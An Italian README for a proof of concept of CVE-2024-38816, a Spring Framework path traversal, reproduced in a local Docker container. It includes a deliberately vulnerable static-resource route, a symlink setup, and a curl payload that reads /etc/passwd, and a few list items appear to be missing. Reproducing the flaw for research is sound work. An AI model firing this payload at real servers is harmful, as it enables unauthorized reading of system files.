
CVE-2024-38816 Prova di concetto
Questa è una prova di concetto per la vulnerabilità CVE-2024-38816, che dimostra un exploit di path traversal.
Costruisci l'immagine Docker: (Spring Boot 3.0.13, basato su Spring Framework 6.0.3)
docker build -t cve-2024-38816-poc .
Esegui il container ed esponi la porta 8080 alla macchina host:
docker run -d -p 8080:8080 --name cve-2024-38816-poc cve-2024-38816-poc
Esegui il seguente comando per eseguire il PoC e confermare la vulnerabilità:
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
Se il contenuto del file /etc/passwd viene visualizzato, la vulnerabilità è confermata.
Questo PoC è stato creato basandosi sull'analisi delle note di rilascio e dei log dei commit. Il comportamento della vulnerabilità effettiva potrebbe differire, pertanto l'accuratezza non è garantita. Usalo a tuo rischio.
La vulnerabilità è stata corretta in Spring Framework 6.1.13, come confermato dalle note di rilascio.
Dopo aver esaminato le note di rilascio e i log dei commit correlati, ho identificato i seguenti due problemi come potenzialmente collegati a questa vulnerabilità:
Secondo il security advisory, è probabile che le seguenti condizioni debbano essere soddisfatte affinché l'attacco abbia successo:
RouterFunctionsFileSystemResourceViene utilizzato un ambiente Docker per riprodurre la vulnerabilità.
Crea PathTraversalDemoApplication.java con il seguente codice per configurare il routing dei file statici utilizzando RouterFunction e FileSystemResource:
public RouterFunction<ServerResponse> staticResourceRouter() {
return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
}
Aggiungi il seguente comando al Dockerfile per creare un collegamento simbolico:
RUN ln -s /static /app/static/link
Crea un payload che sfrutta la codifica % per attraversare le directory tramite il collegamento simbolico.
/static/link/%2e%2e/etc/passwdUsa il seguente comando curl per eseguire il PoC e verificare se l'attacco ha successo:
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
Se l'attacco ha successo, verrà visualizzato il contenuto del file /etc/passwd.
Questo PoC è fornito per scopi educativi e di ricerca sulla sicurezza. Prima di utilizzarlo in un sistema reale, assicurati che la vulnerabilità sia stata corretta e di avere la giusta autorizzazione. L'autore non si assume alcuna responsabilità per un uso improprio di questo codice.